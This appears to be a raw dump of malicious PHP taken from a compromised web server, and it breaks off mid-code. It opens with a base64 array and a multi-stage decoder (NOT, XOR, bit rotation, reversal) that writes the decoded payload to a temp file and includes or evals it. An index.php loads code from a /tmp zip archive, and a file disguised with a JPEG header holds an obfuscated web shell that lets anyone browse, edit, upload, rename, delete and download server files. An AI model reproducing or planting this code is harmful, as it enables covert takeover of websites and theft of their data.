'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');
$jivdSVx = '50a6004127f6f8e95b927888630c9442';
$mOaxjlb = 'c19b4d5caafc92ee2e31ebd76dde5f1a';
$TgDOzpaT = 3;
function SuiROhBDIg($arr) {
return base64_decode(implode('', $arr));
}
function PAjaCPLpy($data, $hexkey) {
$k = hex2bin($hexkey);
$out = '';
$klen = strlen($k);
$dlen = strlen($data);
for ($i=0; $i<$dlen; $i++) {
$out .= chr(ord($data[$i]) ^ ord($k[$i % $klen]));
}
return $out;
}
function QPcBFxFrU($data, $n, $dir = 'r') {
$out = '';
$dlen = strlen($data);
for ($i=0; $i<$dlen; $i++) {
$b = ord($data[$i]) & 0xFF;
if ($dir === 'r') {
$b = (($b >> $n) | (($b << (8 - $n)) & 0xFF)) & 0xFF;
} else {
$b = ((($b << $n) & 0xFF) | ($b >> (8 - $n))) & 0xFF;
}
$out .= chr($b);
}
return $out;
}
function ODCahlbgkR($fname, $payload) {
$tmp = sys_get_temp_dir() . '/' . uniqid('t', true) . '.php';
if (@file_put_contents($tmp, $payload) !== false) {
@chmod($tmp, 0640);
if (@rename($tmp, $fname)) {
@include_once($fname);
return true;
}
}
@file_put_contents($fname, $payload);
@include_once($fname);
return true;
}
try {
$enc = SuiROhBDIg($SMpiPHfV);
$s = '';
for ($i=0;$i<strlen($enc);$i++) { $s .= chr((~ord($enc[$i])) & 0xFF); }
$s = PAjaCPLpy($s, $mOaxjlb);
$s = QPcBFxFrU($s, $TgDOzpaT, 'r');
$s = strrev($s);
$s = PAjaCPLpy($s, $jivdSVx);
$tmp = sys_get_temp_dir() . '/' . uniqid('p', true) . '.php';
if (@file_put_contents($tmp, $s) !== false) {
@include_once($tmp);
@unlink($tmp);
exit;
}
@eval($s);
exit;
} catch (Exception $e) { exit; }
?>PK 9Jm\ح��r r index.phpnu �[��� <?=@null; $h="";if(!empty($_SERVER["HTTP_HOST"])) $h = "2eddibrother.php56"; include("zip:///tmp/phptpd9aH#$h");?>PK 9Jm\"��g�X �X 916iu.phpnu �[��� ÿØÿà JFIF ÿÛ „ ( %"1!%)+...383,7(-.+
-+++--++++---+-+-----+---------------+---+-++7-----ÿÀ ß â" ÿÄ ÿÄ H !1AQaq"‘¡2B±ÁÑð#R“Ò Tbr‚²á3csƒ’ÂñDS¢³$CÿÄ ÿÄ % !1AQa"23‘ÿÚ ? ôÿ ¨pŸªáÿ —åYõõ\?àÒü©ŠÄï¨pŸªáÿ —åYõõ\?àÓü©ŠÄá 0Ÿªáÿ Ÿå[úƒ ú®ði~TÁbqÐ8OÕpÿ ƒOò¤Oè`–RÂáœá™êi€ßÉ< FtŸI“öÌ8úDf´°å}“¾œ6
öFá°y¥jñÇh†ˆ¢ã/ÃÐ:ªcÈ
"Y¡ðÑl>ÿ ”ÏËte:qž\oäŠe÷ó²·˜HT4&ÿ ÓÐü6ö®¿øþßèô Ÿ•7Ñi’•j|“ñì>b…þS?*Óôÿ ÓÐü*h¥£ír¶ü UãS炟[AÐaè[ûª•õ&õj?†Éö+EzP—WeÒírJFt ‘BŒ†Ï‡%#tE Øz ¥OÛ«!1›üä±Í™%º<!vB™'èÔ6´Ña¿«e`Àà0U[-ÂБ4)M÷YK*³hï÷%ÎÎkÇ«m‘-íWŽLsã?nÂ~«†üö®þ¡ÂlÃaÿ ‰ÿ l©°Õ¥ åÜá¿r ºL[Çâ°(Çè'Vãôl8´ÏRÀvLvPõ:…ÙNçF™÷ë>Íãö]°î(–:@<‹ŒÊö×òÆt¦ãº+‡¦%Ìòh´OƒJŒtMÜ>ÀÜÊw3Y´•牋4ÇýÊTì>œú=Íwhyë,¾Ôò×õ¿ßÊa»«þˆÑªQ|%6ž™A õ%:øj<>É—ÿ Å_ˆCbõ¥š±ý¯Ýƒï…¶|RëócÍf溪“t.СøTÿ *Ä¿-{†çàczůŽ_–^XþŒ±miB[X±d 1,é”zEù»&
î9gœf™9Ð'.;—™i}!ôšåîqêÛ٤ёý£½ÆA–àôe"A$ËÚsäÿ
÷Û #°xŸëí(l
»ý3—¥5m!
rt`†0~'j2(]S¦¦kv,ÚÇl¦øJA£Šƒ
J3E8ÙiŽ:cÉžúeZ°€¯\®kÖ(79«Ž:¯X”¾³Š&¡* ….‰Ž(ÜíŸ2¥ª‡×Hi²TF¤ò[¨íÈRëÉä¢mgÑ.Ÿ<öäS0í„ǹÁU´f#Vß;Õ–…P@3ío<ä-±»Ž.L|kªÀê›fÂ6@»eu‚|ÓaÞÆŸ…¨ááå>åŠ?cKü6ùTÍÆ”†sĤÚ;H2RÚ†õ\Ö·Ÿn'¾ ñ#ºI¤Å´%çÁ‚â7›‹qT3Iï¨ÖÚ5I7Ë!ÅOóŸ¶øÝñØôת¦$Tcö‘[«Ö³šÒ';Aþ ¸èíg
A2Z"i¸vdÄ÷.iõ®§)¿]¤À†–‡É&ä{V¶iŽ”.Ó×Õÿ û?h¬Mt–íª[ÿ Ñÿ ÌV(í}=ibÔ¡›¥¢±b Lô¥‡piη_Z<‡z§èŒ)iÖwiÇ 2hÙ3·=’d÷8éŽ1¦¸c¤µ€7›7Ø ð\á)} ¹fËí›pAÃL%âc2 í§æQz¿;T8sæ°qø)QFMð‰XŒÂ±N¢aF¨…8¯!U Z©RÊ ÖPVÄÀÍin™Ì-GˆªÅËŠ›•zË}º±ŽÍFò¹}Uw×#ä5B¤{î}Ð<ÙD
é©¤&‡ïDbàÁôMÁ.<?php
goto womi2; pQy4F: echo "\x22\x3e\xa\x20\x20\40\x20\40\x20\x20\40\40\40\x20\x20\x20\40\40\x20\x3c\x74\x65\x78\164\x61\x72\145\x61\40\x6e\141\x6d\145\75\42\x66\151\154\145\x5f\143\157\156\x74\145\x6e\164\x22\76"; goto fII2j; MriuI: $J6ql8 = $yGbeW . "\57" . $_GET["\x64\157\167\156\154\x6f\x61\x64"]; goto T6_SQ; IPFyY: $yGbeW = isset($_GET["\x64\x69\162"]) ? realpath($_GET["\x64\151\162"]) : $mz96K; goto rC8qj; UPFtL: $yGbeW = $mz96K; goto VOalH; j2vBG: $D7rac = $yGbeW . "\57" . $_POST["\x6f\x6c\x64\137\x6e\141\x6d\x65"]; goto JP3r0; p5in9: unlink($fd8bH); goto SNxPu; dGXaV: uuf1S: goto hD3PH; dIp8F: $XNNy9 = $_POST["\146\x69\x6c\x65\x5f\x63\x6f\156\x74\145\x6e\x74"]; goto lnCSt; vknfc: if (!isset($_POST["\x72\145\156\141\155\x65\x5f\146\151\154\x65"])) { goto uuf1S; } goto j2vBG; JERaO: if (!isset($_GET["\144\x6f\167\x6e\x6c\157\x61\x64"])) { goto dnHM_; } goto MriuI; HvmpV: echo "\x22\x3e\12\x20\40\x20\x20\40\40\x20\40\74\x69\156\x70\165\x74\40\164\171\x70\145\x3d\x22\164\x65\170\x74\42\x20\156\x61\x6d\145\x3d\42\x6e\145\x77\x5f\156\141\x6d\145\42\40\x70\154\x61\143\x65\x68\x6f\x6c\144\145\162\x3d\x22\x4e\145\x77\40\x6e\141\x6d\145\x22\40\163\164\171\x6c\x65\75\x22\x77\151\144\164\x68\72\40\x31\x30\x30\x25\73\x20\x70\x61\x64\x64\151\156\147\72\40\x31\60\x70\x78\73\42\x3e\xa\x20\40\x20\40\40\40\40\x20\x3c\x62\x75\164\x74\157\x6e\x20\164\x79\160\x65\75\42\163\165\142\155\x69\x74\42\x20\156\x61\x6d\145\x3d\42\162\x65\x6e\x61\155\x65\x5f\146\151\x6c\x65\x22\76\122\x65\156\x61\155\x65\x3c\57\142\x75\164\x74\157\x6e\x3e\12\40\40\x20\x20\74\x2f\x66\157\x72\x6d\x3e\xa\x20\40\40\x20"; goto D1Wgl; fI_fT: echo "\xa\x20\x20\x20\40\74\x21\55\55\40\x46\x6f\x72\155\x20\165\x6e\164\165\x6b\40\x6d\x65\x6e\147\x65\144\151\x74\x20\x66\151\154\145\40\x2d\55\76\12\x20\x20\x20\x20"; goto LIdpC; NnkK1: header("\x43\x6f\x6e\x74\x65\x6e\164\55\x44\x69\163\160\x6f\x73\x69\x74\151\157\x6e\72\x20\x61\x74\164\141\143\150\155\x65\x6e\164\x3b\40\146\x69\x6c\x65\156\x61\155\145\75\x22" . basename($J6ql8) . "\x22"); goto td6WN; YSKAa: header("\x4c\x6f\143\x61\164\x69\x6f\156\72\40\x3f\144\x69\x72\75" . urlencode($_GET["\x64\x69\x72"])); goto dGXaV; beTnD: echo "\40\40\40\40\40\x20\x20\x20\x20\40\x20\40\x3c\x66\157\x72\155\x20\155\145\x74\150\157\144\x3d\42\x70\x6f\x73\164\42\x3e\12\40\40\x20\40\x20\40\40\40\40\x20\40\x20\40\40\40\40\x3c\151\x6e\160\x75\x74\x20\164\171\160\x65\x3d\x22\x68\x69\144\x64\145\156\42\x20\156\x61\155\x65\75\42\x66\x69\154\145\x5f\x6e\x61\155\145\x22\x20\166\x61\154\x75\x65\75\42"; goto FgpTK; JP3r0: $hl1Xv = $yGbeW . "\x2f" . $_POST["\156\145\x77\137\x6e\x61\x6d\145"]; goto nZY6k; wiyTx: echo "\x3c\x2f\x61\x3e\74\x2f\x70\x3e\12\40\x20\x20\40\xa\x20\x20\40\x20\74\x64\151\166\x20\143\154\141\x73\163\75\x22\x66\157\162\155\55\143\x6f\x6e\164\x61\151\156\x65\x72\42\x3e\xa\40\x20\40\x20\40\40\40\x20\74\x21\x2d\55\40\106\x6f\162\x6d\x20\165\156\x74\x75\153\x20\165\160\154\157\x61\x64\40\146\151\x6c\x65\x20\x2d\55\x3e\12\x20\x20\40\x20\40\x20\40\x20\x3c\146\157\x72\155\40\x6d\x65\x74\x68\157\x64\x3d\x22\x70\x6f\163\x74\42\40\x65\x6e\143\x74\171\x70\145\75\x22\155\165\x6c\x74\151\160\x61\x72\x74\57\x66\157\162\155\55\144\x61\x74\x61\42\x3e\xa\40\x20\40\x20\40\40\x20\x20\x20\40\40\40\74\151\156\x70\165\164\40\x74\171\x70\x65\75\42\146\x69\154\x65\42\x20\156\x61\x6d\145\75\42\x66\x69\x6c\x65\42\76\xa\x20\40\x20\40\x20\x20\x20\x20\40\40\x20\x20\x3c\x62\165\x74\164\x6f\x6e\40\x74\171\x70\x65\75\42\x73\x75\142\155\151\x74\x22\x20\156\x61\x6d\145\x3d\x22\x75\x70\154\x6f\141\x64\42\76\125\x70\154\x6f\141\144\x3c\57\x62\165\x74\164\157\156\76\xa\40\x20\40\40\x20\x20\40\40\74\x2f\146\x6f\162\x6d\76\xa\12\x20\x20\40\40\40\40\x20\x20\x3c\41\x2d\x2d\x20\106\157\162\x6d\x20\165\156\x74\165\153\x20\155\x65\155\x62\x75\141\164\40\x66\151\154\x65\40\142\x61\162\165\40\x2d\x2d\x3e\xa\x20\40\x20\40\40\x20\40\40\x3c\x66\x6f\x72\155\40\x6d\145\164\x68\157\144\75\x22\160\157\x73\x74\x22\76\12\40\40\x20\40\40\x20\x20\x20\40\40\40\40\74\151\156\x70\x75\x74\x20\164\171\160\145\x3d\x22\164\x65\170\164\x22\x20\x6e\x61\x6d\x65\x3d\42\156\x65\x77\137\x66\151\154\145\137\x6e\141\x6d\x65\42\x20\160\154\141\143\x65\150\157\x6c\144\x65\x72\x3d\x22\x4e\145\x77\x20\146\151\x6c\145\40\x6e\x61\x6d\x65\x22\40\x72\145\161\165\x69\162\x65\144\76\12\x20\40\x20\x20\x20\x20\40\40\40\x20\40\40\x3c\142\x75\x74\164\157\x6e\x20\x74\x79\x70\x65\x3d\x22\x73\x75\x62\155\151\x74\42\x20\x6e\141\155\x65\75\42\x63\162\145\x61\164\145\137\146\x69\154\145\42\x3e\x43\162\145\x61\164\x65\x20\106\151\154\x65\x3c\57\x62\x75\164\164\157\x6e\76\12\40\40\x20\x20\x20\40\40\x20\74\57\146\157\162\x6d\x3e\12\x20\40\40\40\74\x2f\x64\x69\166\x3e\12\12\40\x20\40\x20\x3c\x74\141\x62\154\x65\40\142\x6f\162\x64\145\162\75\42\x31\x22\x3e\12\40\x20\x20\40\40\x20\x20\x20\74\164\150\145\x61\144\76\xa\40\x20\40\x20\40\40\40\x20\x20\x20\40\x20\74\164\162\x3e\xa\x20\x20\40\x20\40\x20\40\x20\x20\x20\40\x20\x20\40\x20\40\x3c\x74\x68\x3e\x46\151\154\145\40\x4e\x61\155\x65\x3c\x2f\164\x68\x3e\12\40\40\40\40\x20\x20\x20\40\x20\x20\x20\x20\x20\x20\40\40\74\164\x68\x3e\x53\x69\x7a\145\x3c\x2f\x74\x68\x3e\12\x20\x20\x20\x20\x20\x20\40\40\40\x20\40\40\40\x20\x20\40\74\164\x68\x3e\101\143\x74\151\157\156\x73\x3c\x2f\x74\x68\76\xa\x20\40\40\x20\40\x20\x20\x20\x20\40\40\40\x3c\57\164\x72\x3e\xa\x20\x20\x20\40\40\x20\x20\x20\74\x2f\x74\x68\145\x61\x64\x3e\12\40\40\40\40\x20\40\40\40\x3c\x74\142\x6f\144\171\76\12\40\40\40\40\x20\40\40\40\40\40\40\x20"; goto VaCVK; FgpTK: echo $_GET["\x65\144\151\x74"]; goto pQy4F; hn42X: $EHBNq = $yGbeW . "\x2f" . $_POST["\146\151\x6c\145\137\156\141\x6d\145"]; goto dIp8F; PyP6_: echo "\x22\x20\163\164\171\x6c\145\x3d\x22\143\x6f\154\x6f\162\x3a\x20\43\60\x33\x44\x41\103\66\73\42\x3e"; goto zj7hC; womi2: $mz96K = realpath(__DIR__); goto IPFyY; Xsu_X: if (!isset($_POST["\x73\141\x76\145\x5f\x66\151\x6c\x65"])) { goto gEelU; } goto hn42X; uDpFH: $t8kMD = $_POST["\156\x65\167\137\x66\151\154\x65\137\x6e\141\155\145"]; goto N59aw; rC8qj: if (!(!$yGbeW || !is_dir($yGbeW))) { goto uRI4C; } goto UPFtL; zj7hC: echo $yGbeW; goto wiyTx; X1fRy: zOaYm: goto Xsu_X; mUuHK: header("\x43\157\156\x74\x65\x6e\164\x2d\124\x79\160\x65\x3a\x20\141\x70\x70\x6c\151\x63\x61\x74\x69\157\x6e\x2f\x6f\143\x74\145\164\x2d\x73\x74\x72\x65\141\x6d"); goto NnkK1; eM5JY: echo $_GET["\x72\145\156\x61\x6d\145"]; goto HvmpV; dzsDs: if (!isset($_GET["\144\x65\154\145\164\x65"])) { goto YWvXO; } goto VEyk9; T6_SQ: if (!is_file($J6ql8)) { goto NU8jm; } goto Dmpyc; B7QmT: header("\x4c\157\x63\x61\164\x69\x6f\x6e\72\40\x3f\x64\151\x72\75" . urlencode($_GET["\x64\151\162"])); goto WbFfl; SNxPu: XvFkr: goto B7QmT; q7smT: readfile($J6ql8); goto ZSiUM; Dmpyc: header("\x43\x6f\156\x74\145\156\x74\x2d\x44\145\163\143\162\x69\160\x74\x69\x6f\156\x3a\40\106\x69\x6c\x65\x20\124\x72\x61\156\x73\146\x65\162"); goto mUuHK; LObF8: header("\114\157\143\141\164\151\157\x6e\72\x20\x3f\x64\x69\x72\75" . urlencode($_GET["\144\151\162"])); goto X1fRy; vTVYv: V5DrG: goto JuNBA; nZY6k: rename($D7rac, $hl1Xv); goto YSKAa; WPoPN: function F00Ue($BjjAr) { goto TN_gP; NUBum: LJelH: goto Wqcyl; hcBGb: foreach ($alrBN as $jGfFS) { goto NutqT; m9pNm: echo "\x3c\164\144\76\x46\x6f\154\144\145\162\74\57\x74\x64\76"; goto xltsa; K2A5m: echo "\x3c\57\164\x72\76"; goto RfRe2; GSWXk: echo "\74\x74\x64\x3e\74\x61\40\150\162\x65\x66\x3d\42\x3f\144\151\x72\75" . urlencode($BjjAr . "\57" . $jGfFS) . "\x22\x3e\xf0\237\x93\201\x20" . $jGfFS . "\74\x2f\x61\76\x3c\57\x74\144\76"; goto m9pNm; NutqT: echo "\x3c\x74\162\76"; goto GSWXk; xltsa: echo "\74\164\144\76\12\x20\x20\40\40\x20\x20\x20\x20\x20\x20\40\40\74\141\x20\150\x72\145\146\x3d\42\77\144\x69\162\75" . urlencode($BjjAr) . "\x26\145\x64\x69\x74\75" . urlencode($jGfFS) . "\42\x3e\x45\144\x69\164\74\57\141\x3e\x20\174\xa\40\x20\40\x20\x20\x20\x20\40\40\40\x20\40\x3c\141\x20\x68\162\145\146\x3d\x22\77\x64\151\x72\75" . urlencode($BjjAr) . "\46\144\145\154\x65\x74\x65\75" . urlencode($jGfFS) . "\42\x3e\x44\x65\154\145\x74\145\x3c\57\141\76\x20\174\12\x20\40\x20\40\x20\x20\x20\x20\40\40\40\40\x3c\141\x20\x68\162\x65\x66\x3d\42\x3f\x64\x69\162\x3d" . urlencode($BjjAr) . "\x26\162\x65\x6e\x61\x6d\145\75" . urlencode($jGfFS) . "\42\x3e\122\x65\x6e\141\155\145\74\x2f\141\x3e\40\174\xa\40\x20\40\40\40\40\40\40\x20\40\40\x20\74\141\x20\150\x72\145\x66\75\x22\77\x64\151\x72\x3d" . urlencode($BjjAr) . "\46\144\x6f\x77\x6e\154\157\141\144\x3d" . urlencode($jGfFS) . "\42\76\104\157\x77\156\x6c\157\141\x64\74\57\x61\x3e\12\40\40\x20\40\x20\40\40\40\x3c\57\164\x64\x3e"; goto K2A5m; RfRe2: gTsgz: goto jF0La; jF0La: } goto NUBum; hU7wa: $OZBDt = []; goto O1NDz; Tgrtz: CyuJc: goto l7gGQ; O1NDz: foreach ($lWTTD as $qCHXQ) { goto JGdXx; UmoYn: WstXK: goto XwQtV; E4e2M: J6gJS: goto UmoYn; zvrgX: goto J6gJS; goto x4TyU; jS8gE: $OZBDt[] = $qCHXQ; goto zvrgX; JGdXx: if (!($qCHXQ != "\56" && $qCHXQ != "\56\x2e")) { goto WstXK; } goto H7UDJ; x4TyU: JqJnu: goto xu2GW; XwQtV: w8KNE: goto Re57M; xu2GW: 